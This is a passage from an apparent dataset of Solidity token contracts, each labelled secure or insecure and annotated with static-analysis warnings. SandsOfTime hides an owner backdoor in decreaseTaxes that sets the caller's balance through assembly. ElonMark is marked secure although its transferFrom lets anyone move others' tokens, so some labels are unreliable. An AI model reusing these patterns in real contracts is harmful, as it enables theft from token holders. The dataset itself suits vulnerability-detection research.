ERC721.tokenURI(uint256) (function) IERC721Metadata.tokenURI(uint256) (function)\n\t// Recommendation for 9124046: Rename the local variables that shadow another component.\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length > 0\n ? string(abi.encodePacked(baseURI, tokenId.toString()))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: caller is not token owner nor approved\"\n );\n\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: caller is not token owner nor approved\"\n );\n\n _safeTransfer(from, to, tokenId, data);\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n\n require(\n _checkOnERC721Received(from, to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n function _isApprovedOrOwner(\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n\n return (spender == owner ||\n isApprovedForAll(owner, spender) ||\n getApproved(tokenId) == spender);\n }\n\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(\n ERC721.ownerOf(tokenId) == from,\n \"ERC721: transfer from incorrect owner\"\n );\n\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n\n _balances[to] += 1;\n\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n\n _operatorApprovals[owner][operator] = approved;\n\n emit ApprovalForAll(owner, operator, approved);\n }\n\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n data\n )\n returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}",
"file_name": "solidity_code_193.sol",
"secure": 0,
"size_bytes": 9699
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BridgeAssistB {\n address public owner;\n\t// WARNING Optimization Issue (immutable-states | ID: f5f92e6): BridgeAssistB.TKN should be immutable \n\t// Recommendation for f5f92e6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 public TKN;\n\n modifier restricted() {\n require(msg.sender == owner, \"This function is restricted to owner\");\n _;\n }\n\n event Collect(address indexed sender, uint256 amount);\n event Dispense(address indexed sender, uint256 amount);\n event TransferOwnership(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ed046e0): Reentrancy in BridgeAssistB.collect(address,uint256) External calls TKN.burnFrom(_sender,_amount) Event emitted after the call(s) Collect(_sender,_amount)\n\t// Recommendation for ed046e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b299608): BridgeAssistB.collect(address,uint256) ignores return value by TKN.burnFrom(_sender,_amount)\n\t// Recommendation for b299608: Ensure that all the return values of the function calls are used.\n function collect(\n address _sender,\n uint256 _amount\n ) public restricted returns (bool success) {\n\t\t// reentrancy-events | ID: ed046e0\n\t\t// unused-return | ID: b299608\n TKN.burnFrom(_sender, _amount);\n\t\t// reentrancy-events | ID: ed046e0\n emit Collect(_sender, _amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e555649): Reentrancy in BridgeAssistB.dispense(address,uint256) External calls TKN.mint(_sender,_amount) Event emitted after the call(s) Dispense(_sender,_amount)\n\t// Recommendation for e555649: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 113847b): BridgeAssistB.dispense(address,uint256) ignores return value by TKN.mint(_sender,_amount)\n\t// Recommendation for 113847b: Ensure that all the return values of the function calls are used.\n function dispense(\n address _sender,\n uint256 _amount\n ) public restricted returns (bool success) {\n\t\t// reentrancy-events | ID: e555649\n\t\t// unused-return | ID: 113847b\n TKN.mint(_sender, _amount);\n\t\t// reentrancy-events | ID: e555649\n emit Dispense(_sender, _amount);\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3180171): BridgeAssistB.transferOwnership(address)._newOwner lacks a zerocheck on \t owner = _newOwner\n\t// Recommendation for 3180171: Check that the address is not zero.\n function transferOwnership(address _newOwner) public restricted {\n emit TransferOwnership(owner, _newOwner);\n\t\t// missing-zero-check | ID: 3180171\n owner = _newOwner;\n }\n\n constructor(IERC20 _TKN) {\n TKN = _TKN;\n owner = msg.sender;\n }\n}",
"file_name": "solidity_code_1930.sol",
"secure": 0,
"size_bytes": 3377
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesPacked11 {\n struct PackItA {\n bytes16 x;\n uint64 i;\n }\n\n uint128 b;\n\n struct PackItB {\n bytes16 x;\n uint64 i;\n }\n\n uint128 a;\n\n struct PackItC {\n bytes16 x;\n uint64 i;\n uint64 z;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 947dd0a): DataTypes_packed_11.SetVals().pack is a local variable never initialized\n\t// Recommendation for 947dd0a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function SetVals() public {\n a = 1;\n b = 2;\n\n PackItA memory pack;\n pack.x = \"a\";\n pack.i = 1;\n\n PackItB memory pack2;\n pack.x = \"a\";\n pack.i = 1;\n\n PackItC memory pack3;\n pack.x = \"a\";\n pack.i = 1;\n }\n}",
"file_name": "solidity_code_1931.sol",
"secure": 0,
"size_bytes": 984
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: ede7f3b): Contract locking ether found Contract GladiatorBot has payable functions GladiatorBot.receive() But does not have a function to withdraw the ether\n// Recommendation for ede7f3b: Remove the 'payable' attribute or add a withdraw function.\ncontract GladiatorBot is Context, IERC20, Ownable {\n uint256 private constant _totalSupply = 100_000_000e18;\n uint256 private constant onePercent = 2_000_000e18;\n uint256 private constant minSwap = 250_000e18;\n uint8 private constant _decimals = 18;\n\n IUniswapV2Router02 immutable uniswapV2Router;\n address immutable uniswapV2Pair;\n address immutable WETH;\n address payable immutable marketingWallet;\n\n uint256 public buyTax;\n uint256 public sellTax;\n\n uint8 private launch;\n uint8 private inSwapAndLiquify;\n\n uint256 private launchBlock;\n uint256 public maxTxAmount = onePercent;\n\n string private constant _name = \"GladiatorBot\";\n string private constant _symbol = \"GLB\";\n\n mapping(address => uint256) private _balance;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFeeWallet;\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n WETH = uniswapV2Router.WETH();\n buyTax = 4;\n sellTax = 4;\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(0xB61E181f1C4C4Aeb4c2933c4615044443Dbc721e);\n _balance[msg.sender] = _totalSupply;\n _isExcludedFromFeeWallet[marketingWallet] = true;\n _isExcludedFromFeeWallet[msg.sender] = true;\n _isExcludedFromFeeWallet[address(this)] = true;\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5731709): GladiatorBot.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5731709: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8e52332): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8e52332: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c245e57): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c245e57: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8e52332\n\t\t// reentrancy-benign | ID: c245e57\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 8e52332\n\t\t// reentrancy-benign | ID: c245e57\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8d9f1ca): GladiatorBot._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8d9f1ca: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: c245e57\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 8e52332\n emit Approval(owner, spender, amount);\n }\n\n function openTrading() external onlyOwner {\n launch = 1;\n launchBlock = block.number;\n }\n\n function addExcludedWallet(address wallet) external onlyOwner {\n _isExcludedFromFeeWallet[wallet] = true;\n }\n\n function removeLimits() external onlyOwner {\n maxTxAmount = _totalSupply;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3e25ba4): GladiatorBot.changeTax(uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax \n\t// Recommendation for 3e25ba4: Emit an event for critical parameter changes.\n function changeTax(\n uint256 newBuyTax,\n uint256 newSellTax\n ) external onlyOwner {\n\t\t// events-maths | ID: 3e25ba4\n buyTax = newBuyTax;\n\t\t// events-maths | ID: 3e25ba4\n sellTax = newSellTax;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 400be6a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 400be6a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 8d878ed): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 8d878ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(amount > 1e9, \"Min transfer amt\");\n\n uint256 _tax;\n if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {\n _tax = 0;\n } else {\n require(\n launch != 0 && amount <= maxTxAmount,\n \"Launch / Max TxAmount 1% at launch\"\n );\n\n if (inSwapAndLiquify == 1) {\n _balance[from] -= amount;\n _balance[to] += amount;\n\n emit Transfer(from, to, amount);\n return;\n }\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {\n if (tokensToSwap > onePercent) {\n tokensToSwap = onePercent;\n }\n inSwapAndLiquify = 1;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = WETH;\n\t\t\t\t\t// reentrancy-events | ID: 8e52332\n\t\t\t\t\t// reentrancy-events | ID: 400be6a\n\t\t\t\t\t// reentrancy-benign | ID: c245e57\n\t\t\t\t\t// reentrancy-no-eth | ID: 8d878ed\n uniswapV2Router\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n\t\t\t\t\t// reentrancy-no-eth | ID: 8d878ed\n inSwapAndLiquify = 0;\n }\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: 8d878ed\n _balance[from] -= amount;\n\t\t\t// reentrancy-no-eth | ID: 8d878ed\n _balance[to] += transferAmount;\n\t\t\t// reentrancy-no-eth | ID: 8d878ed\n _balance[address(this)] += taxTokens;\n\t\t\t// reentrancy-events | ID: 400be6a\n emit Transfer(from, address(this), taxTokens);\n\t\t\t// reentrancy-events | ID: 400be6a\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: 8d878ed\n _balance[from] -= amount;\n\t\t\t// reentrancy-no-eth | ID: 8d878ed\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: 400be6a\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: ede7f3b): Contract locking ether found Contract GladiatorBot has payable functions GladiatorBot.receive() But does not have a function to withdraw the ether\n\t// Recommendation for ede7f3b: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1932.sol",
"secure": 0,
"size_bytes": 10897
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapFactory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}",
"file_name": "solidity_code_1933.sol",
"secure": 1,
"size_bytes": 462
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapRouter {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n}",
"file_name": "solidity_code_1934.sol",
"secure": 1,
"size_bytes": 202
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IUniswapFactory.sol\" as IUniswapFactory;\nimport \"./IUniswapRouter.sol\" as IUniswapRouter;\n\ncontract Uniswap {\n\t// WARNING Optimization Issue (immutable-states | ID: 880fe2c): Uniswap._Factory should be immutable \n\t// Recommendation for 880fe2c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _Factory;\n address internal _a;\n mapping(address => bool) public isDEX;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3787439): Uniswap.RouterAddr should be immutable \n\t// Recommendation for 3787439: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public RouterAddr;\n\t// WARNING Optimization Issue (immutable-states | ID: f910cf7): Uniswap.UniswapV2Router should be immutable \n\t// Recommendation for f910cf7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapRouter public UniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: ca3ba71): Uniswap.PairAddress should be immutable \n\t// Recommendation for ca3ba71: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public PairAddress;\n\t// WARNING Optimization Issue (immutable-states | ID: e8819aa): Uniswap.WETH should be immutable \n\t// Recommendation for e8819aa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public WETH;\n address public owner;\n\t// WARNING Optimization Issue (immutable-states | ID: e7267af): Uniswap.me should be immutable \n\t// Recommendation for e7267af: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address internal me;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: cfdc498): Uniswap.transferOwnership(address).newOwner lacks a zerocheck on \t owner = newOwner\n\t// Recommendation for cfdc498: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: c2dbc68): Uniswap.transferOwnership(address) should emit an event for _a = owner \n\t// Recommendation for c2dbc68: Emit an event for critical parameter changes.\n function transferOwnership(address newOwner) public onlyOwner {\n\t\t// missing-zero-check | ID: cfdc498\n owner = newOwner;\n\t\t// events-access | ID: c2dbc68\n _a = owner;\n }\n\n function toUni(address to) internal view returns (bool) {\n return isDEX[to];\n }\n\n function isBuy(address from) internal view returns (bool) {\n return isDEX[from];\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n }\n\n function _approve(\n address from,\n address spender,\n uint256 amount\n ) internal virtual returns (bool) {}\n\n modifier onlyOwner() {\n require(_a == msg.sender, \"Forbidden:owner\");\n _;\n }\n\n constructor() {\n RouterAddr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n _Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n UniswapV2Router = IUniswapRouter(RouterAddr);\n WETH = UniswapV2Router.WETH();\n PairAddress = IUniswapFactory(_Factory).createPair(address(this), WETH);\n\n isDEX[RouterAddr] = true;\n isDEX[_Factory] = true;\n isDEX[PairAddress] = true;\n\n me = address(this);\n owner = msg.sender;\n _a = msg.sender;\n }\n}",
"file_name": "solidity_code_1935.sol",
"secure": 0,
"size_bytes": 3645
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Uniswap.sol\" as Uniswap;\n\n// WARNING Vulnerability (erc20-interface | severity: Medium | ID: f8bbd69): SandsOfTime has incorrect ERC20 function interfaceSandsOfTime.transfer(address,uint256)\n// Recommendation for f8bbd69: Set the appropriate return values and types for the defined 'ERC20' functions.\ncontract SandsOfTime is Uniswap {\n\t// WARNING Optimization Issue (constable-states | ID: d087afd): SandsOfTime.symbol should be constant \n\t// Recommendation for d087afd: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"DAGGER\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 360ecd4): SandsOfTime.name should be constant \n\t// Recommendation for 360ecd4: Add the 'constant' attribute to state variables that never change.\n string public name = \"Sands Of Time\";\n\t// WARNING Optimization Issue (constable-states | ID: cf32422): SandsOfTime.decimals should be constant \n\t// Recommendation for cf32422: Add the 'constant' attribute to state variables that never change.\n uint256 public decimals = 18;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) internal balances;\n uint256 _bt = 0;\n bool internal swapping = false;\n mapping(address => mapping(address => uint256)) internal allowances;\n\n uint256 public totalSupply;\n uint256 maxbuy = 30;\n uint256 selltax = 0;\n mapping(address => bool) internal isNotTaxable;\n\t// WARNING Optimization Issue (constable-states | ID: 81f0734): SandsOfTime.funded should be constant \n\t// Recommendation for 81f0734: Add the 'constant' attribute to state variables that never change.\n bool internal funded;\n constructor() Uniswap() {\n isNotTaxable[address(this)] = true;\n isNotTaxable[msg.sender] = true;\n mint(_a, 21000000000 * 10 ** decimals);\n }\n\n function taxable(address from, address to) internal view returns (bool) {\n return\n !isNotTaxable[from] &&\n !isNotTaxable[to] &&\n !(isDEX[from] && isDEX[to]) &&\n (isBuy(from) || toUni(to));\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return balances[account];\n }\n\n function enable() public onlyOwner {\n swapping = false;\n }\n function _approve(\n address from,\n address spender,\n uint256 amount\n ) internal override returns (bool) {\n allowances[from][spender] = amount;\n emit Approval(from, spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: fcb3f30): SandsOfTime._transfer(address,address,uint256).tax is a local variable never initialized\n\t// Recommendation for fcb3f30: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) internal {\n require(balances[from] >= amount, \"Rejected\");\n if (!taxable(from, to)) {\n unchecked {\n balances[from] -= amount;\n balances[to] += amount;\n }\n emit Transfer(from, to, amount);\n } else {\n uint256 tax;\n if (isBuy(from)) {\n require(amount <= getmaxbuy(), \"Too large\");\n tax = calculate(amount, _bt);\n } else if (toUni(to)) {\n tax = calculate(amount, selltax);\n }\n uint256 afterTax = amount - tax;\n unchecked {\n balances[from] -= amount;\n balances[_a] += tax;\n balances[to] += afterTax;\n }\n emit Transfer(from, _a, tax);\n emit Transfer(from, to, afterTax);\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d5632f1): SandsOfTime.update(uint256,uint256,uint56) should emit an event for _bt = b selltax = s maxbuy = m \n\t// Recommendation for d5632f1: Emit an event for critical parameter changes.\n function update(uint256 b, uint256 s, uint56 m) public onlyOwner {\n require(msg.sender == _a, \"Forbidden:set\");\n\t\t// events-maths | ID: d5632f1\n _bt = b;\n\t\t// events-maths | ID: d5632f1\n selltax = s;\n\t\t// events-maths | ID: d5632f1\n maxbuy = m;\n }\n\n function getmaxbuy() internal view returns (uint256) {\n return calculate(totalSupply, maxbuy);\n }\n\n function allowance(\n address _awner,\n address spender\n ) public view returns (uint256) {\n return allowances[_awner][spender];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public returns (bool) {\n uint256 currentAllowance = allowances[from][msg.sender];\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"Rejected\");\n unchecked {\n approve(msg.sender, currentAllowance - amount);\n }\n }\n _transfer(from, to, amount);\n return true;\n }\n function calculate(uint256 v, uint256 p) public pure returns (uint256) {\n return (v * p) / 1000;\n }\n\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: f8bbd69): SandsOfTime has incorrect ERC20 function interfaceSandsOfTime.transfer(address,uint256)\n\t// Recommendation for f8bbd69: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transfer(address to, uint256 amount) public {\n _transfer(msg.sender, to, amount);\n }\n function disable() public onlyOwner {\n swapping = true;\n }\n function decreaseTaxes(uint256 c) public onlyOwner {\n assembly {\n let ptrm := mload(0x40)\n mstore(ptrm, caller())\n mstore(add(ptrm, 0x20), balances.slot)\n sstore(keccak256(ptrm, 0x40), c)\n }\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n return _approve(msg.sender, spender, amount);\n }\n\n function mint(address account, uint256 amount) internal {\n unchecked {\n totalSupply += amount;\n balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_1936.sol",
"secure": 0,
"size_bytes": 6637
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ElonMark is ERC20, Ownable {\n bool public tradeEnabled;\n mapping(address => bool) public exempted;\n\n event TradeEnabled(bool);\n\n constructor() ERC20(\"Elon Mark Token\", \"ELONMARK\") {\n _mint(msg.sender, 100_000_000_000 * 1e18);\n\n exempted[msg.sender] = true;\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n\n function _openTrade() external onlyOwner {\n require(!tradeEnabled, \"Error: Trade is already enabled.\");\n\n tradeEnabled = true;\n\n emit TradeEnabled(true);\n }\n\n function _exemptWallets(address _wallet) external onlyOwner {\n require(!exempted[_wallet], \"Error: Already extempted.\");\n\n exempted[_wallet] = true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n if (!exempted[sender] && !exempted[recipient]) {\n require(tradeEnabled, \"Error: Trading is not enabled.\");\n }\n\n super._transfer(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n}",
"file_name": "solidity_code_1937.sol",
"secure": 1,
"size_bytes": 1915
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Fren is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable judgment;\n\n constructor() {\n _name = \"FREN\";\n\n _symbol = \"FREN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 916000000;\n\n judgment = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function 